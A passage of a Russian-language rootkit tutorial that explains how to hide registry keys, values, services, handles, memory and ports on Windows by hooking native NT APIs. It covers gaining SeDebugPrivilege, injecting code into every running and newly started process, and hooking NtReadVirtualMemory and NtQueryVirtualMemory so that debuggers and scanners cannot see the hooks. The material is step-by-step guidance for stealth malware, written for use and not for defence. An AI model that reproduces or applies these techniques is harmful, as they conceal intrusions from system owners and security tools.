запрашиваться ключ с индексом 4, или ничего не вернем для ключа с индексом 1,
хотя должны вернуть C. В обоих случаях ошибка. Вот почему мы должны подумать
о сдвиге.
Если мы будем вычислять сдвиг вызовом функции для каждого индекса
от 0 до Index, иногда нам придется ждать годами (на 1ГГц процессоре это может
занять до 10 секунд со стандартным реестром, который очень большой). Поэтому
мы должны придумать более совершенный метод.
Мы знаем, что ключи (исключая ссылки) отсортированы по алфавиту. Если
мы пренебрежем ссылками (которые мы не хотим скрывать), мы сможем вычислить
сдвиг следующим методом. Мы отсортируем по алфавиту список имен ключей, которые
необходимо скрыть (используя RtlCompareUnicodeString), затем, когда приложение
вызывает NtEnumerateKey, мы не будем перевызывать ее с неизмененными
аргументами, а определим имя записи указанной параметром Index.

NTSTATUS RtlCompareUnicodeString(
IN PUNICODE_STRING String1,
IN PUNICODE_STRING String2,
IN BOOLEAN CaseInSensitive
);

String1 и String2 - строки, которые необходимо сравнить,
CaseInSensitive - True, если мы хотим провести сравнение, игнорируя регистр.
Результат функции описывает отношение между String1 и String2:

result > 0: String1 > String2
result = 0: String1 = String2
result < 0: String1 < String2

Теперь мы должны найти границу. Мы сравним имя, указанное параметром Index с
именами в нашем списке. Границей будет последнее меньшее имя из нашего списка.
Мы знаем, что сдвиг не превышает номер граничного элемента в нашем списке.
Но не все элементы списка являются действительными ключами в той части реестра,
где мы находимся. Поэтому мы должны определить элементы списка до границы,
которые являются частью реестра. Мы можем сделать это используя NtOpenKey.

NTSTATUS NtOpenKey(
OUT PHANDLE KeyHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);

KeyHandle - это хэндл родительского ключа. Мы будем использовать
значение, переданное в NtEnumerateKey. DesiredAccess - права доступа,
используем значение KEY_ENUMERATE_SUB_KEYS. ObjectAttributes описывают
подключ, которых мы хотим открыть (включая его имя).

#define KEY_ENUMERATE_SUB_KEYS 8

Если NtOpenKey вернет 0 - ключ был открыт успешно - это значит, что
этот элемент списка существует. Открытый ключ следует закрыть, используя
NtClose.

NTSTATUS NtClose(
IN HANDLE Handle
);

При каждом вызове функции NtEnumerateKey мы должны вычислять сдвиг,
как количество ключей из нашего списка, которые существуют в данной части
реестра. Затем мы должны прибавить этот сдвиг к аргументу Index и, наконец,
вызвать оригинальную NtEnumerateKey.
Для получения имени ключа, указанного параметром Index, мы используем
KeyBasicInformation в качестве значения для KeyInformationClass.

#define KeyBasicInformation 0

NtEnumerateKey вернет в буфере KeyInformation структуру:

typedef struct _KEY_BASIC_INFORMATION {
LARGE_INTEGER LastWriteTime;
ULONG TitleIndex;
ULONG NameLength;
WCHAR Name[1];
} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION;

Единственное что нам нужно - это Name, и его длина - NameLength.
Если ключа для сдвинутого параметра Index не существует, мы
должны вернуть ошибку STATUS_EA_LIST_INCONSISTENT.

#define STATUS_EA_LIST_INCONSISTENT 0x80000014

NtEnumerateValueKey

Значения реестра не отсортированы. К счастью, их количество в одном
ключе достаточно мало, поэтому мы можем перевызывать функцию, чтобы получить
сдвиг. API для получения информации об одном значении реестра
назывется NtEnumarateValueKey.

NTSTATUS NtEnumerateValueKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
OUT PVOID KeyValueInformation,
IN ULONG KeyValueInformationLength,
OUT PULONG ResultLength
);

KeyHandle - это снова хэндл родительского ключа. Index - это индекс
в списке значений данного ключа. KeyValueInformationClass описывает тип
информации, которая будет помещена в буфер KeyValueInformation размером
KeyValueInformationLength байт. Количество записанных в буфер байт возвращается
в ResultLength.
И снова мы должны вычислить сдвиг, перевызывая функцию для всех
индексов от 0 до Index. Имя значения может быть получено при использовании
KeyValueBasicInformation в качестве значения для KeyValueInformationClass.

#define KeyValueBasicInformation 0

Тогда в буфере KeyValueInformation мы получим следующую структуру:

typedef struct _KEY_VALUE_BASIC_INFORMATION {
ULONG TitleIndex;
ULONG Type;
ULONG NameLength;
WCHAR Name[1];
} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION;

Нас снова интересуют только Name и NameLength.

Если для сдвинутого параметра Index не существует соответствующего
значения реестра, то мы должны вернуть STATUS_NO_MORE_ENTRIES.

#define STATUS_NO_MORE_ENTRIES 0x8000001A

Сервисы и драйверы

Системные сервисы и драйверы обрабатываются четырьмя независимыми
API-функциями. Их связи различны в каждой версии Windows. Поэтому мы вынуждены
перехватывать все четыре функции.

BOOL EnumServicesStatusA(
SC_HANDLE hSCManager,
DWORD dwServiceType,
DWORD dwServiceState,
LPENUM_SERVICE_STATUS lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle
);

BOOL EnumServiceGroupW(
SC_HANDLE hSCManager,
DWORD dwServiceType,
DWORD dwServiceState,
LPBYTE lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle,
DWORD dwUnknown
);

BOOL EnumServicesStatusExA(
SC_HANDLE hSCManager,
SC_ENUM_TYPE InfoLevel,
DWORD dwServiceType,
DWORD dwServiceState,
LPBYTE lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle,
LPCTSTR pszGroupName
);

BOOL EnumServicesStatusExW(
SC_HANDLE hSCManager,
SC_ENUM_TYPE InfoLevel,
DWORD dwServiceType,
DWORD dwServiceState,
LPBYTE lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle,
LPCTSTR pszGroupName
);

Наиболее важен здесь параметр lpServices, которое указывает на буфер,
где должен быть размещен список сервисов. lpServicesReturned, которое указывает
на количество записей в буфере, также важно. Структура данных в выходном буфере
зависит от типа функции. Для функций EnumServicesStatusA и EnumServicesGroupW
возвращается структура:

typedef struct _ENUM_SERVICE_STATUS {
LPTSTR lpServiceName;
LPTSTR lpDisplayName;
SERVICE_STATUS ServiceStatus;
} ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS;

typedef struct _SERVICE_STATUS {
DWORD dwServiceType;
DWORD dwCurrentState;
DWORD dwControlsAccepted;
DWORD dwWin32ExitCode;
DWORD dwServiceSpecificExitCode;
DWORD dwCheckPoint;
DWORD dwWaitHint;
} SERVICE_STATUS, *LPSERVICE_STATUS;

а для EnumServicesStatusExA и EnumServicesStatusExW:

typedef struct _ENUM_SERVICE_STATUS_PROCESS {
LPTSTR lpServiceName;
LPTSTR lpDisplayName;
SERVICE_STATUS_PROCESS ServiceStatusProcess;
} ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS;

typedef struct _SERVICE_STATUS_PROCESS {
DWORD dwServiceType;
DWORD dwCurrentState;
DWORD dwControlsAccepted;
DWORD dwWin32ExitCode;
DWORD dwServiceSpecificExitCode;
DWORD dwCheckPoint;
DWORD dwWaitHint;
DWORD dwProcessId;
DWORD dwServiceFlags;
} SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS;

Нас интересует только поле lpServiceName, которое содержит имя
сервиса. Записи имеют фиксированный размер, поэтому, если мы хотим скрыть
одну, мы передвинем все последующие записи на ее размер. Здесь мы должны
помнить о различии размеров SERVICE_STATUS и SERVICE_STATUS_PROCESS.

Перехват и распространение

Чтобы получить желаемый эффект, мы должны заразить все запущенные
процессы, а также процессы, которые будут запущены позже. Новые процессы должны
быть заражены до выполнения первой инструкции их кода, иначе они смогут увидеть
наши скрытые объекты до того, как функции будут перехвачены.

Привелегии

Нам нужны как минимум администраторские права, чтобы получить доступ ко
всем запущенным процессам. Лучшая возможность - это запуск нашего процесса как
системного сервиса, который работает с правами пользователя SYSTEM. Чтобы
установить сервис нам тоже нужны специальные привелегии.
Также очень полезно получение привелегии SeDebugPrivilege. Это может
быть сделано с помощью функций OpenProcessToken, LookupPrivilegeValue и
AdjustTokenPrivileges.

BOOL OpenProcessToken(
HANDLE ProcessHandle,
DWORD DesiredAccess,
PHANDLE TokenHandle
);

BOOL LookupPrivilegeValue(
LPCTSTR lpSystemName,
LPCTSTR lpName,
PLUID lpLuid
);

BOOL AdjustTokenPrivileges(
HANDLE TokenHandle,
BOOL DisableAllPrivileges,
PTOKEN_PRIVILEGES NewState,
DWORD BufferLength,
PTOKEN_PRIVILEGES PreviousState,
PDWORD ReturnLength
);

Игнорируя возможные ошибки, это может быть сделано так:

#define SE_PRIVILEGE_ENABLED 0x0002
#define TOKEN_QUERY 0x0008
#define TOKEN_ADJUST_PRIVILEGES 0x0020

HANDLE hToken;
LUID DebugNameValue;
TOKEN_PRIVILEGES Privileges;
DWORD dwRet;

OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);
LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
Privileges.PrivilegeCount=1;
Privileges.Privileges[0].Luid=DebugNameValue;
Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
NULL,&dwRet);
CloseHandle(hToken);

Перехват

Перечисление процессов производится уже упомянутой API-функцией
NtQuerySystemInformation. Для перехвата функций используется метод перезаписи
ее первых инструкций. Это делается для каждого запущеного процесса. Мы выделим
память в нужном процессе, где запишем новый код для функций, которые хотим
перехватить. Затем заменим первые пять байт этих функций на инструкцию jmp.
Эта инструкция будет перенаправлять выполнение на наш код. Так, инструкция jmp
будет выполнена сразу, как только функция будет вызвана. Мы должны сохранить
первые инструкции каждой перезаписанной функции - они необходимы для вызова
оригинального кода перехваченной функции. Сохранение инструкций описывается в
разделе 3.2.3 статьи "Hooking Windows API".
Сначала мы должны открыть нужный процесс с помощью NtOpenProcess и
получить его хэндл. Произойдет ошибка, если у нас недостаточно привелегий.

NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
);

ProcessHandle - указатель на хэндл, где будет сохранен результат.
DesiredAccess следует установить равным PROCESS_ALL_ACCESS. Мы установим
поле UniqueProcess структуры ClientId равным PID нужного процесса, UniqueThread
должно быть равно нулю. Открытый хэндл должен быть закрыт с помощью NtClose.

#define PROCESS_ALL_ACCESS 0x001F0FFF

Теперь мы выделим память для нашего кода. Это может быть сделано
с помощью функции NtAllocateVirtualMemory.

NTSTATUS NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

Используется значение ProcessHandle возвращенное функцией
NtOpenProcess. BaseAddress - указатель на указатель на желаемое начало блока
выделенной памяти. Здесь будет сохранен указатель на выделенную память.
Входное значение может быть равно NULL. AllocationSize - указатель на
переменную, содержащую размер буфера, который мы хотим выделить. И также
здесь будет сохранено количество реально выделенных байт. Рекомендую включить
значение MEM_TOP_DOWN в параметр AllocationType в дополнение к MEM_COMMIT, т.к.
в этом случае память будет выделена как можно выше рядом с DLL.

#define MEM_COMMIT 0x00001000
#define MEM_TOP_DOWN 0x00100000

Теперь мы можем записать наш код, используя NtWriteVirtualMemory.

NTSTATUS NtWriteVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL
);

В параметре BaseAddress используем значение возвращенное
NtAllocateVirtual. Buffer указывает на байты, которые мы хотим записать,
BufferLength - количество этих байтов.

Теперь мы перехватим функции. Единственная DLL, которая загружается в
каждый процесс - ntdll.dll. Так, мы должны проверить импортирована ли функция,
которую мы хотим перехватить, в процесс, если эта функция не из ntdll.dll.
Но память, которую эта функция (из другой DLL) могла бы занимать может быть
выделена, и перезапись этих байт повлечет за собой сбой в процессе. Поэтому
мы должны проверить загружена ли эта библиотека (в которой нужная нам функция)
в процесс.
Мы должны получить PEB (Process Environment Block) нужного процесса,
используя NtQueryInformationProcess.

NTSTATUS NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

Присвоим значение ProcessBasicInformation параметру
ProcessInformationClass. Тогда в буфер ProcessInformation, размер которого
указан в параметре ProcessInformationLength, будет возвращена структура
PROCESS_BASIC_INFORMATION.

#define ProcessBasicInformation 0

typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PPEB PebBaseAddress;
KAFFINITY AffinityMask;
KPRIORITY BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

PebBaseAddress - то, что мы ищем. PebBaseAddress+0x0C - это адрес
PPEB_LDR_DATA. Он может быть получен вызовом NtReadVirtualMemory.

NTSTATUS NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL
);

Параметры такие же как и у NtWriteVirtualMemory.
PPEB_LDR_DATA+0x1C - адрес InInitializationOrderModuleList. Это список
библиотек, загруженных в процесс. Нас интересует только часть этой структуры.

typedef struct _IN_INITIALIZATION_ORDER_MODULE_LIST {
PVOID Next,
PVOID Prev,
DWORD ImageBase,
DWORD ImageEntry,
DWORD ImageSize,
...
);

Next - указатель на следующую запись, Prev - на предыдущую. Последняя
запись указывает на первую. ImageBase - адрес модуля в памяти. ImageEntry - это
точка входа модуля, ImageSize - его размер.

Для каждой библиотеки, функции которой мы хотим перехватить, мы получим
ImageBase (например, используя GetModuleHandle или LoadLibrary). Эту ImageBase
мы сравним с ImageBase каждого элемента в InInitializationOrderModuleList.
Теперь мы готовы к перехвату. Из-за того, что мы перехватываем функции
в работающих процессах, существует вероятность, что код, который мы будем
перезаписывать в тот момент будет выполняться. Это может вызвать ошибку,
поэтому сначала мы остановим все потоки этого процесса. Список потоков можно
получить, используя функцию NtQuerySystemInformation с классом
SystemProcessesAndThreadsInformation. Результат работы этой функции описан в
разделе 4, необходимо лишь добавить описание структуры SYSTEM_THREADS, которая
содержит информацию о потоке.

typedef struct _SYSTEM_THREADS {
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientId;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
THREAD_STATE State;
KWAIT_REASON WaitReason;
} SYSTEM_THREADS, *PSYSTEM_THREADS;

Для каждого потока мы должны получить его хэндл, используя
NtOpenThread. Мы используем для этого ClientId.

NTSTATUS NtOpenThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId
);

Хэндл, который нам нужен, будет сохранен в ThreadHandle. Параметр
DesiredAccess должен быть равен THREAD_SUSPEND_RESUME.

#define THREAD_SUSPEND_RESUME 2

ThreadHandle будет использован при вызове NtSuspendThread.

NTSTATUS NtSuspendThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);

Приостановленный процесс готов к перезаписи. Мы поступим, как описано
в разделе 3.2.2 статьи "Hooking Windows API". Единственная разница в том, что
функции будут использоваться для других процессов.

После перехвата мы возобновим работу всех потоков процесса, используя
NtResumeThread.

NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
OUT PULONG PreviousSuspendCount OPTIONAL
);

Новые процессы

Заражение всех запущенных процессов не затронет процессы, которые будут
запущены позже. Мы должны получить список процессов, через некоторое время
получить новый, сравнить их, а затем заразить те процессы, которые есть во
втором списке и отсутствуют в первом. Но этот метод очень ненадежен.
Намного лучше перехватить функцию, которая вызывается, когда стартует
новый процесс. Так как все запущенные в системе процессы заражены, мы не сможем
пропустить ни один новый процесс, используя данный метод. Мы можем перехватить
NtCreateThread, но это не самый простой путь. Мы будем перехватывать функцию
NtResumeThread, которая также всегда вызывается при старте нового процесса.
Она вызвается после NtCreateThread.
Единственная проблема с NtResumeThread состоит в том, что она
вызывается не только при запуске нового процесса. Но мы легко решим эту
проблему. NtQueryInformationThread предоставит нам информацию о том, какой
процесс владеет данным потоком. Мы должны просто проверить, заражен ли этот
процесс. Это можно определить прочитав первые байты любой из функций, которые
мы перехватываем.

NTSTATUS NtQueryInformationThread(
IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
OUT PVOID ThreadInformation,
IN ULONG ThreadInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

В нашем случае параметр ThreadInformationClass должен быть равен
ThreadBasicInformation. ThreadInformation - это буфер для результата, размер
этого буфера указан в параметре ThreadInformationLength.

#define ThreadBasicInformation 0

Для класса ThreadBasicInformation возвращается такая структура:

typedef struct _THREAD_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PNT_TIB TebBaseAddress;
CLIENT_ID ClientId;
KAFFINITY AffinityMask;
KPRIORITY Priority;
KPRIORITY BasePriority;
} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION;

В параметре ClientId находится PID процесса, владеющего этим потоком.

Теперь мы должны заразить новый процесс. Проблема в том, что процесс
имеет в своей памяти только ntdll.dll. Все остальные модули загружаются сразу
после вызова NtResumeThread. Существует несколько путей решения этой проблемы.
Например, можно перехватить функцию LdrInitializeThunk, которая вызывается при
инициализации процесса.

NTSTATUS LdrInitializeThunk(
DWORD Unknown1,
DWORD Unknown2,
DWORD Unknown3
);

Сначала нужно выполнить оригинальный код, а замет перехватить все
нужные функции в новом процессе. Затем лучше снять перехват LdrInitializeThunk,
так как она будет вызвана позже много раз, а мы не хватим заново перехватывать
все функции. Все это будет сделано до выполнения первых инструкций процесса,
поэтому нет вероятности того, что этот процесс вызовет какую-нибудь из
перехватываемых функций до того, как мы ее перехватим.
Перехват функций в своем процессе такой же как и перехват в запущенном
процессе, но нам не нужно беспокоиться о потоках.

DLL

В каждом процессе в системе есть копия ntdll.dll. Это значит, что мы
можем перехватить любую функцию этого модуля при инициализации процесса.
Но как быть с функциями из других модулей, например, kernel32.dll или
advapi32.dll? Есть несколько процессов, у которых есть только ntdll.dll.
Все остальные модули могут быть загружены динамически в середине кода после
перехвата процесса. Вот почему мы должны перехватить LdrLoadDll, которая
загружает новые модули.

NTSTATUS LdrLoadDll(
PWSTR szcwPath,
PDWORD pdwLdrErr,
PUNICODE_STRING pUniModuleName,
PHINSTANCE pResultInstance
);

Наиболее важно для нас pUniModuleName - имя модуля. pResultInstance
будет адресом модуля, если вызов был успешен.
Мы вызовем оригинальную LdrLoadDll и затем перехватим все функции в
загруженном модуле.

Память

Когда мы перехватываем функцию, мы изменяем ее первые байты. Вызвав
NtReadVirtualMemory, кто угодно сможет определить, что функция перехвачена.
Поэтому мы должны перехватить NtReadVirtualMemory, чтобы избежать обнаружения.

NTSTATUS NtReadVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG BufferLength,
OUT PULONG ReturnLength OPTIONAL
);

Мы заменили байты в начале тех функций, которые перехватили, и еще
выделили память для нового кода. Необходимо проверить читает ли функция
какие-либо из этих байт. Если наши байты находятся в диапазоне от BaseAddress
до (BaseAddress + BufferLength), мы должны заменить некоторые байты в Buffer.
Если кто-либо пытается прочитать байты из нашей выделенной памяти,
следует вернуть пустой Buffer и ошибку STATUS_PARTIAL_COPY. Это значение
говорит о том, что не все запрошенные байты были скопированы в буфер Buffer.
Это также происходит при попытке доступа к невыделенной памяти. ReturnLength
должно быть установлено в нуль в данном случае.

#define STATUS_PARTIAL_COPY 0x8000000D

Если кто-нибудь запрашивает первые байты перехваченной нами функции,
мы должны вызвать оригинальный код, а затем скопировать оригинальные байты
(мы их сохранили) в буфер Buffer.
Теперь процесс не сможет определить, что функции перехвачены, чтением
памяти. Также, если вы отлаживаете перехватываченные функции, у отладчика будут
проблемы. Он будет показывать оригинальные байты, но выполнять наш код.

Чтобы сделать скрытие совершенным, мы еще должны перехватить функцию
NtQueryVirtualMemory, которая используется для получения информации о
виртуальной памяти. Мы можем перехватить ее, чтобы предотвратить обнаружение
выделенной нами памяти.

NTSTATUS NtQueryVirtualMemory(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN MEMORY_INFORMATION_CLASS MemoryInformationClass,
OUT PVOID MemoryInformation,
IN ULONG MemoryInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

MemoryInformationClass определяет тип возвращаемых данных. Нас
интересуют первые два типа.

#define MemoryBasicInformation 0
#define MemoryWorkingSetList 1

Для MemoryBasicInformation возвращается структура:

typedef struct _MEMORY_BASIC_INFORMATION {
PVOID BaseAddress;
PVOID AllocationBase;
ULONG AllocationProtect;
ULONG RegionSize;
ULONG State;
ULONG Protect;
ULONG Type;
} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

Каждая секция памяти имеет размер - RegionSize и тип - Type. Свободная
память имеет тип MEM_FREE.

#define MEM_FREE 0x10000

Если секция перед нашей имеет тип MEM_FREE, следует прибавить размер
нашей секции к ее RegionSize. Если следующая секция также имеет тип MEM_FREE,
следует прибавить размер следующей секции к RegionSize.
Если секция перед нашей имеет другой тип, мы вернем MEM_FREE для нашей
секции. Ее размер должен быть вычислен, учитывая также следующую секцию.

Для MemoryWorkingSetList возвращается структура:

typedef struct _MEMORY_WORKING_SET_LIST {
ULONG NumberOfPages;
ULONG WorkingSetList[1];
} MEMORY_WORKING_SET_LIST, *PMEMORY_WORKING_SET_LIST;

NumberOfPages - количество элементов в WorkingSetList. Это число должно
быть уменьшено. Мы должны найти нашу секцию в WorkingSetList и передвинуть
следующие записи на нее. WorkingSetList - массив DWORD'ов, где старшие 20 бит -
это старшие 20 бит адреса секции, а младшие 12 бит содержат флаги.

Хэндлы

Вызов NtQuerySystemInformation с классом SystemHandleInformation дает
нам массив всех открытых хэндлов в структуре _SYSTEM_HANDLE_INFORMATION_EX.

#define SystemHandleInformation 0x10

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX {
ULONG NumberOfHandles;
SYSTEM_HANDLE_INFORMATION Information[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

ProcessId указывает процесс, владеющий этим хэндлом. ObjectTypeNumber -
это тип хэндла. NumberOfHandles - количество записей в массиве Information.
Скрытие одного элемента тривиально. Нужно сдвинуть последующие записи на одну
и уменьшить значение NumberOfHandles. Сдвиг последующих записей требуется,
потому что хэндлы в массиве сгруппированы по ProcessId. Это значит, что все
хэндлы одного процесса расположены последовательно. И для каждого процесса
значение поля Handle растет.
Вспомните структуру _SYSTEM_PROCESSES, которая возвращается этой
функцией с классом SystemProcessesAndThreadsInformation. Здесь мы можем
увидеть, что каждый процесс имеет информацию о количестве хэндлов в
HandleCount. Если мы хотим сделать все идеально, нам следует изменить поле
HandleCount (в соответствии с тем, сколько хэндлов мы скрыли), когда функция
будет вызвана с классом SystemProcessesAndThreadsInformation. Но эта поправка
может требовать слишком много времени. Множество хэндлов открываются и
закрываются в течении очень короткого времени при нормальной работе системы.
Легко может случиться, что количество хэндлов изменилось между двумя вызовами
функции, поэтому нам не нужно изменять здесь поле HandleCount.

Именование хэндлов и получение типа

Скрытие хэндлов тривиально, но немного сложнее определить какие хэндлы
мы должны скрыть. Если у нас есть, например, скрытый процесс, нас следует
скрыть все его хэндлы и все хэндлы связанные с ним. Скрытие хэндлов этого
процесса также тривиально. Мы просто сравниваем ProcessId хэндла и PID нашего
процесса, если они равны мы прячем хэндл. Но хэндлы других процессов должны
быть проименованы прежде, чем мы сможем сравнивать их с чем-либо. Количество
хэндлов в системе обычно очень велико, поэтому лучшее, что мы можем сделать -
это сравнить тип хэндла прежде, чем попытаться проименовать его. Именование
типов сохранит много времени для хэндлов, которые нас не интересуют.
Именование хэндла и типа хэндла может быть выполнено с помощью функции
NtQueryObject.

NTSTATUS ZwQueryObject(
IN HANDLE ObjectHandle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

ObjectHandle - хэндл, информацию о котором мы хотим получить,
ObjectInformationClass - тип информации, которая будет сохранена в буфер
ObjectInformation размером ObjectInformationLength байт.
Мы будем использовать классы ObjectNameInformation и
ObjectAllTypesInformation. Класс ObjectNameInfromation заполнит буфер
структурой OBJECT_NAME_INFORMATION, а класс ObjectAllTypesInformation
структурой OBJECT_ALL_TYPES_INFORMATION.

#define ObjectNameInformation 1
#define ObjectAllTypesInformation 3

typedef struct _OBJECT_NAME_INFORMATION {
UNICODE_STRING Name;
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;

Поле Name определяет имя хэндла.

typedef struct _OBJECT_TYPE_INFORMATION {
UNICODE_STRING Name;
ULONG ObjectCount;
ULONG HandleCount;
ULONG Reserved1[4];
ULONG PeakObjectCount;
ULONG PeakHandleCount;
ULONG Reserved2[4];
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccess;
UCHAR Unknown;
BOOLEAN MaintainHandleDatabase;
POOL_TYPE PoolType;
ULONG PagedPoolUsage;
ULONG NonPagedPoolUsage;
} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

typedef struct _OBJECT_ALL_TYPES_INFORMATION {
ULONG NumberOfTypes;
OBJECT_TYPE_INFORMATION TypeInformation;
} OBJECT_ALL_TYPES_INFORMATION, *POBJECT_ALL_TYPES_INFORMATION;

Поле Name определяет имя типа объекта, которое следует сразу после
каждой структуры OBJECT_TYPE_INFORMATION. Следующая структура
OBJECT_TYPE_INFORMATION расположена после этого имени и выровнена на границу
четырех байт.

ObjectTypeNumber из структуры SYSTEM_HANDLE_INFORMATION - это индекс
в массиве TypeInformation.

Сложнее получить имя хэндла из другого процесса. Существуют два способа
сделать это. Первый состоит в том, чтобы скопировать хэндл функцией
NtDuplicateObject в наш процесс и затем проименовать его. Этот метод не
сработает для некоторых специфических типов хэндлов. Но он не срабатывает
довольно редко, поэтому мы можем оставаться спокойными и использовать его.

NtDuplicateObject(
IN HANDLE SourceProcessHandle,
IN HANDLE SourceHandle,
IN HANDLE TargetProcessHandle,
OUT PHANDLE TargetHandle OPTIONAL,
IN ACCESS_MASK DesiredAccess,
IN ULONG Attributes,
IN ULONG Options
);

SourceProcessHandle - хэндл процесса, который владеет SourceHandle,
то есть хэндлом, который мы хотим скопировать. TargetProcessHandle - это хэндл
процесса, в который мы хотим копировать. Это хэндл нашего процесса в нашем
случае. TargetHandle - указатель, куда будет сохранена копия хэндла. Параметр
DesiredAccess должен быть равен PROCESS_QUERY_INFORMATION, а Attribures
и Options - нулю.

Второй способ именования, работающий со всеми хэндлами, состоит в
использовании системного драйвера. Исходный код этого метода доступен в
проекте OpHandle на моем сайте http://rootkit.host.sk.

Порты

Самый простой путь для перечисления открытых портов - это использование
функций AllocateAndGetTcpTableFromStack и AllocateAndGetUdpTableFromStack,
и/или AllocateAndGetTcpExTableFromStack и AllocateAndGetUdpExTableFromStack из
iphlpapi.dll. Ex-функции доступны начиная с Windows XP.

typedef struct _MIB_TCPROW {
DWORD dwState;
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
} MIB_TCPROW, *PMIB_TCPROW;

typedef struct _MIB_TCPTABLE {
DWORD dwNumEntries;
MIB_TCPROW table[ANY_SIZE];
} MIB_TCPTABLE, *PMIB_TCPTABLE;

typedef struct _MIB_UDPROW {
DWORD dwLocalAddr;
DWORD dwLocalPort;
} MIB_UDPROW, *PMIB_UDPROW;

typedef struct _MIB_UDPTABLE {
DWORD dwNumEntries;
MIB_UDPROW table[ANY_SIZE];
} MIB_UDPTABLE, *PMIB_UDPTABLE;

typedef struct _MIB_TCPROW_EX
{
DWORD dwState;
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
DWORD dwProcessId;
} MIB_TCPROW_EX, *PMIB_TCPROW_EX;

typedef struct _MIB_TCPTABLE_EX
{
DWORD dwNumEntries;
MIB_TCPROW_EX table[ANY_SIZE];
} MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;

typedef struct _MIB_UDPROW_EX
{
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwProcessId;
} MIB_UDPROW_EX, *PMIB_UDPROW_EX;

typedef struct _MIB_UDPTABLE_EX
{
DWORD dwNumEntries;
MIB_UDPROW_EX table[ANY_SIZE];
} MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;

DWORD WINAPI AllocateAndGetTcpTableFromStack(
OUT PMIB_TCPTABLE *pTcpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
IN DWORD dwProtocolVersion;
);

DWORD WINAPI AllocateAndGetUdpTableFromStack(
OUT PMIB_UDPTABLE *pUdpTable,
IN BOOL bOrder,
IN HANDLE hAllocHeap,
IN DWORD dwAllocFlags,
